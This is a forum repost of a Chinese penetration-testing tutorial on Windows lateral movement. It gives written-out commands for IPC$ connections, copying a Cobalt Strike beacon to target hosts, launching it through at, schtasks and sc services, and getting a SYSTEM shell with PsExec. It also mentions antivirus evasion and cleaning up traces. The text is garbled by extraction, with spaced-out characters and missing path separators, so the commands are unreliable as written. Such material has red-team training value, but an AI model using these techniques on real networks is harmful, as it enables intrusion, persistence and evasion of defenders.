搜索

[18586] 2021-06-29_内网渗透横向移动总结

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-06-29_内网渗透横向移动总结 内 网 渗 透   |   横 向 移 动 总 结 原 创   c k i n   H A C K 学 习 呀   2 0 2 1 - 0 6 - 2 9 前 言 前 言 通 常 我 们 在 渗 透 过 程 中 从 外 围 打 点 进 入 内 网 后 拿 到 主 机 提 升 到 s y s t e m 权 限 ， 这 一 台 主 机 就 已 经 拿 下 。 但 是 我 们 进 入 内 网 的 目 标 还 是 拿 下 尽 可 能 多 的 主 机 ， 这 时 候 选 择 横 向 移 动 的 方 法 就 尤 为 重 要 。 今 天 就 对 一 些 常 用 的 横 向 手 法 进 行 一 个 总 结 ， 有 不 足 之 处 欢 迎 师 傅 们 进 行 斧 正 。 本 次 实 验 均 在 本 地 搭 建 靶 场 进 行 ， 靶 场 拓 扑 图 如 下 ： 利 用 利 用 w i n d o w s 远 程 连 接 命 令 远 程 连 接 命 令 i p c 连 接 连 接 ( I n t e r n e t   P r o c e s s   C o n n e c t i o n )   是 为 了 让 进 程 之 间 通 信 的 一 种 “ 管 道 ” ， 通 过 提 供 用 户 名 密 码 建 立 了 一 条 安 全 的 、 加 密 的 、 用 于 数 据 交 换 的 通 道 。 当 然 ， 还 是 在 同 一 个 时 间 ， 还 是 同 样 的 两 个 I P ， 他 们 之 间 只 能 建 立 一 个 连 接 ， 脚 踏 多 条 船 无 论 什 么 时 候 都 是 不 可 取 的 。 通 过 这 个 连 接 ， 可 以 实 现 在 被 连 接 的 目 标 机 器 上 搞 文 件 上 传 、 下 载 、 命 令 执 行 … … 关 于 关 于 I P C $ + 计 划 任 务 的 横 向 ， 我 们 的 目 的 非 常 明 确 ： 计 划 任 务 的 横 向 ， 我 们 的 目 的 非 常 明 确 ： （ 1 ） 首 先 建 立 向 目 标 主 机 的 I P C $ I P C $ I P C $
连 接 （ 2 ） 其 次 把 命 令 执 行 的 脚 本 传 到 目 标 主 机 （ 3 ） 再 次 创 建 计 划 任 务 在 目 标 机 器 上 执 行 命 令 脚 本 （ 4 ） 最 后 过 河 拆 桥 删 除 连 接 当 然 想 要 用 当 然 想 要 用 I P C $ 来 横 向 是 有 条 件 的 ： 来 横 向 是 有 条 件 的 ： （ 1 ） 目 标 机 器 没 有 禁 用 连 接 ， 没 有 什 么 防 火 防 盗 拦 截 ， 1 3 9   4 4 5   端 口 也 开 了 （ 能 走 4 4 5 走 4 4 5 ， 不 能 则 走 1 3 9 ） （ 2 ） 目 标 机 器 小 管 理 员 开 了 默 认 共 享 服 务 （ 逻 辑 盘 、 系 统 目 录 ； 都 不 开 我 访 问 个 啥 ？ ） （ 3 ） 获 取 了 目 标 机 器 的 小 管 理 员 的 管 理 员 权 限 的 账 号 密 码 （ 最 好 是 域 管 理 员 账 号 密 码 ） ， 明 文 的 （ 4 ） 目 标 系 统 能 支 持 ， 且 和 攻 击 机 能 彼 此 互 通 （ 废 话 ） 本 地 命 令 可 以 c o p y ， 用 C S   b e a c o n 的 可 以 u p l o a d ， 总 之 把 自 己 写 的 或 者 是 工 具 生 成 的 木 马 搞 到 目 标 机 器 上 接 下 来 创 建 w i n d o w s 计 划 任 务 ， 自 动 执 行 木 马 反 弹 连 接 到 攻 击 机 器 值 得 注 意 的 是 ， 如 何 自 动 执 行 木 马 ， 在 w i n d o w s 中 常 用 的 就 是 计 划 任 务 a t 和 s c h t a s k s ， 计 划 任 务 在 后 文 中 会 提 到 这 里 提 一 个 点 ， 在 多 次 渗 透 内 网 的 过 程 中 碰 到 了 一 个 问 题 ， 那 么 就 是 这 个 命 令 输 入 的 时 候 到 底 需 不 需 要 加 上 引 号 ， 我 的 建 议 是 最 好 加 上 引 号 ， 另 外 就 是 如 果 是 在 C o b a l t   S t r i k e 里 面 执 行 i p c 命 令 进 行 连 接 的 时 候 ， 密 码 中 如 果 有 一 些 特 殊 的 字 符 ， 需 要 进 行 转 义 ， 否 则 可 能 会 导 致 i p c 连 接 不 成 功 。 I P C $ I P C $ I P C $ I P C $ I P C $ n e t   u s e   < I P > i p c $   p a s s w o r d   / u s e r : u s e r n a m e n e t   u s e   / / 查 看 当 前 主 机 所 建 立 的 连 接
这 样 我 们 就 已 经 跟 D C 建 立 了 I P C 连 接 ， 这 里 尝 试 使 用 一 个 d i r 命 令 列 出 D C 目 录 进 行 查 看 i p c 连 接 还 有 一 个 常 用 的 命 令 就 是 进 行 本 地 映 射 ， 如 果 在 命 令 行 里 面 查 看 目 录 觉 得 很 麻 烦 的 话 可 以 使 用 如 下 命 令 将 已 经 建 立 I P C 连 接 的 主 机 的 任 意 盘 符 映 射 到 自 己 的 本 地 。 例 如 这 里 我 将 D C 的 c 盘 映 射 到 我 本 地 的 z 盘 。 d i r   1 9 2 . 1 6 8 . 5 2 . 1 3 8 c $ n e t   u s e   z :   i p c $   p a s s w o r d   / u s e r : A d m i n i s t r a t o r   / / 把 目 标 C 盘 映 射 到 本 地 z 盘 ( 未 建 立 i p c 连 接 的 情 况 下 )         n e t   u s e   z :   i p c $   / / 把 目 标 C 盘 映 射 到 本 地 z 盘 ( 已 建 立 i p c 连 接 的 情 况 下 )
当 然 在 最 后 我 们 渗 透 完 成 后 需 要 清 理 痕 迹 ， 这 里 就 会 用 到 一 条 删 除 i p c 连 接 的 命 令 a t 命 令 命 令 a t   命 令 是 W i n d o w s 自 带 的 用 于 创 建 计 划 任 务 的 命 令 ， 但 是 a t   命 令 只 在 2 0 0 3 及 以 下 的 版 本 使 用 。 我 们 可 以 通 过 a t 命 令 通 过 跳 板 机 在 目 标 主 机 D C 上 创 建 计 划 任 务 ， 让 计 算 机 在 指 定 的 时 间 执 行 木 马 程 序 ， 从 而 获 得 对 内 网 目 标 主 机 的 控 制 。 a t 计 划 命 令 在 实 战 中 主 要 有 两 个 用 处 ： 一 是 在 获 取 w e b s h e l l 后 不 能 够 执 行 系 统 命 令 的 情 况 下 可 以 用 a t 命 令 将 命 令 执 行 后 写 入 t x t 再 用 t y p e 读 取 ， 二 是 利 用 a t 计 划 任 务 命 令 上 线 c s 或 者 m s f 首 先 介 绍 第 一 个 用 处 ， 这 是 我 之 前 在 实 战 的 过 程 中 拿 到 了 一 个 o a 系 统 的 s h e l l ， 但 是 这 里 在 w e b s h e l l 处 不 能 够 执 行 命 令 ， 这 时 候 就 可 以 调 用 a t 命 令 调 用 c m d 执 行 系 统 命 令 使 用 a t 命 令 调 用 c m d . e x e 执 行 命 令 写 入 r e s u l t . t x t n e t   u s e   i p i p c $ a t   1 9 2 . 1 6 8 . 5 2 . 1 4 1   1 6 : 4 0 : 0 0   c m d . e x e   / c   " 命 令   >   c : r e s u l t . t x t "
用 t y p e 命 令 进 行 读 取 这 里 在 演 示 第 二 个 a t 命 令 的 用 处 ， 利 用 a t 计 划 任 务 上 线 c s 或 m s f ， 这 里 我 使 用 的 是 c s 生 成 的 e x e 1 . 首 先 与 主 机 建 立 i p c 连 接 2 . 确 定 主 机 时 间 3 . 使 用 c s 生 成 木 马 利 用 c o p y 命 令 拷 贝 到 主 机 上 注 意 在 实 战 过 程 中 e x e 需 要 作 免 杀 处 理 ， 否 则 如 果 对 面 主 机 有 杀 软 还 没 有 落 地 就 已 经 被 查 杀 了 t y p e   1 9 2 . 1 6 8 . 5 2 . 1 4 1 c $ r e s u l t . t x t n e t   t i m e   i p c o p y   < 木 马 在 本 机 位 置 >   < 靶 机 i p > c $
4 . 使 用 a t 命 令 创 建 计 划 任 务 注 意 这 里 理 论 上 c s 就 已 经 上 线 了 ， 但 是 因 为 这 里 我 是 在 本 地 启 动 c s 生 成 的 一 个 e x e ， 2 0 0 3 这 台 机 器 处 于 域 环 境 里 面 且 不 出 网 ， 所 以 不 能 够 跟 我 物 理 机 进 行 通 信 ， 所 以 这 里 就 没 有 截 图 上 线 成 功 的 图 。 5 . 删 除 计 划 任 务 这 里 的 1 为 创 建 计 划 任 务 时 候 的 I D s c h t a s k s 命 令 命 令 在 2 0 0 8 及 以 后 的 系 统 中 已 经 将 a t 命 令 废 弃 ， 改 用 s c h t a s k s 命 令 代 替 了 a t 命 令 ， 原 因 是 因 为 s c h t a s k s 命 令 比 a t 命 令 使 用 起 来 更 加 灵 活 。 这 里 使 用 s c h t a s k s 命 令 计 划 任 务 上 线 的 思 想 跟 a t 命 令 大 同 小 异 1 . 与 主 机 建 立 i p c 连 接 a t   < 靶 机 i p >   < 启 动 时 间 >   < 木 马 在 靶 机 的 位 置 > a t   1 9 2 . 1 6 8 . 5 2 . 1 4 1   1   / d e l e t e
2 . 使 用 c o p y 命 令 将 e x e 复 制 到 靶 机 里 3 . 查 看 靶 机 时 间 4 . 使 用 s c h t a s k s 创 建 名 为 c s 的 计 划 任 务 可 以 用 如 下 s c h t a s k s 命 令 查 看 创 建 的 计 划 任 务 c o p y   C : U s e r s l i u k a i f e n g 0 1 D e s k t o p a r t i f a c t . e x e   1 9 2 . 1 6 8 . 5 2 . 1 4 1 c $ n e t   t i m e   1 9 2 . 1 6 8 . 5 2 . 1 4 1 s c h t a s k s   / c r e a t e   / T N   c s   / T R   C : a r t i f a c t . e x e   / S C   o n c e   / S T   1 7 : 3 2
这 里 同 a t 命 令 一 样 ， 在 域 环 境 里 面 就 没 有 截 图 c s 上 线 的 图 。 5 . 删 除 计 划 任 务 在 使 用 命 令 时 ， 会 在 系 统 中 留 下 日 志 文 件 如 果 执 行 命 令 后 没 有 回 显 ， 可 配 合 执 行 文 件 ， 使 用 命 令 远 程 查 看 执 行 结 果 利 用 利 用 w i n d o w s 服 务 服 务 利 用 w i n d o w s 服 务 进 行 横 向 渗 透 主 要 是 通 过 s c 命 令 ， 但 是 注 意 这 里 跟 之 前 w i n d o w s 远 程 命 令 相 比 多 了 一 个 条 件 ， 即 当 前 主 机 需 要 为 a d m i n i s t r a t o r 权 限 。 s c 命 令 命 令 s c 命 令 是 X P 系 统 中 功 能 强 大 的 D O S 命 令 , S C 命 令 能 与 “ 服 务 控 制 器 ” 和 已 安 装 设 备 进 行 通 讯 。 S C 是 用 于 与 服 务 控 制 管 理 器 和 服 务 进 行 通 信 的 命 令 行 程 序 。 利 用 s c 命 令 进 行 横 向 渗 透 的 大 体 流 程 如 下 ： 1 . 与 靶 机 建 立 i p c 连 接 2 . 拷 贝 e x e 到 主 机 系 统 上 3 . 在 靶 机 上 创 建 一 个 s h e l l 的 服 务 s c h t a s k s   / q u e r y   / T N   c s s c h t a s k s   / d e l e t e   / t n   " c s " s c h t a s k s C : W i n d o w s T a s k s S C H E D L G U . t x t s c h t a s k s i p c $ t y p e s c   W I N - M 8 3 6 N N 6 N U 8 B   c r e a t e   s h e l l   b i n p a t h =   " c : a r t i f a c t . e x e "
这 里 需 要 用 运 行 ， 否 则 会 报 错 4 . 启 动 s h e l l 服 务 5 . 删 除 创 建 的 s h e l l 服 务 利 用 利 用 p s e x e c 利 用 利 用 p s e x e c . e x e 工 具 工 具 下 载 地 址 ： h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / s y s i n t e r n a l s / d o w n l o a d s / p s e x e c   是   w i n d o w s   下 非 常 好 的 一 款 远 程 命 令 行 工 具 。 的 使 用 不 需 要 对 方 主 机 开 方 3 3 8 9 端 口 ， 只 需 要 对 方 开 启 a d m i n $ 共 享   ( 该 共 享 默 认 开 启 ) 。 但 是 ， 假 如 目 标 主 机 开 启 了 防 火 墙 ， 也 是 不 能 使 用 的 ， 会 提 示 找 不 到 网 络 路 径 。 由 于 是 W i n d o w s 提 供 的 工 具 ， 所 以 杀 毒 软 件 将 其 列 在 白 名 单 中 。 的 基 本 原 理 ： • c m d   s h e l l s c   W I N - M 8 3 6 N N 6 N U 8 B   s t a r t   s h e l l s c   [ h o s t ]   d e l e t e   [ s e r v i c e n a m e ] p s e x e c p s e x e c p s e x e c p s e x e c p s e x e c
1 . 通 过 连 接 ， 释 放 二 进 制 文 件 到 目 标 • 1 . 通 过 服 务 管 理 远 程 创 建 一 个 服 务 ， 并 启 动 服 务 • 1 . 客 户 端 连 接 执 行 命 令 ， 服 务 端 通 过 服 务 启 动 相 应 的 程 序 执 行 命 令 并 回 显 数 据 • 1 . 运 行 结 束 后 删 除 服 务 的 使 用 前 提 ： • 对 方 主 机 开 启 了   共 享 ， 如 果 关 闭 了 共 享 ， 会 提 示 ： 找 不 到 网 络 名 • 对 方 未 开 启 防 火 墙 • 如 果 是 工 作 组 环 境 ， 则 必 须 使 用 a d m i n i s t r a t o r 用 户 连 接 （ 因 为 要 在 目 标 主 机 上 面 创 建 并 启 动 服 务 ） ， 使 用 其 他 账 号 ( 包 括 管 理 员 组 中 的 非 a d m i n i s t r a t o r 用 户 ) 登 录 都 会 提 示 访 问 拒 绝 访 问 。 • 如 果 是 域 环 境 ， 即 可 用 普 通 域 用 户 连 接 也 可 以 用 域 管 理 员 用 户 连 接 。 连 接 普 通 域 主 机 可 以 用 普 通 域 用 户 ， 连 接 域 控 只 能 用 域 管 理 员 账 户 。 使 用 如 下 命 令 ： • - a c c e p t e u l a ： 第 一 次 运 行 p s e x e c 会 弹 出 确 认 框 ， 使 用 该 参 数 就 不 会 弹 出 确 认 框 • - u ： 用 户 名 • - p ： 密 码 • - s ： 以 s y s t e m 权 限 运 行 运 程 进 程 ， 获 得 一 个 s y s t e m 权 限 的 交 互 式 s h e l l 。 如 果 不 使 用 该 参 数 ， 会 获 得 一 个 连 接 所 用 用 户 权 限 的 s h e l l i p c $ a d m i n $ p s e x e c s v c . e x e S C M a n a g e r p s e x e c p s e x e c a d m i n $ a d m i n $ P s E x e c 6 4 . e x e   - a c c e p t e u l a   1 9 2 . 1 6 8 . 1 0 . 3   - u   W I N - U 8 T R G T 9 3 C T R a d m i n i s t r a t o r   - p   < p a s s w o r d >   - s   c m d . e x e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理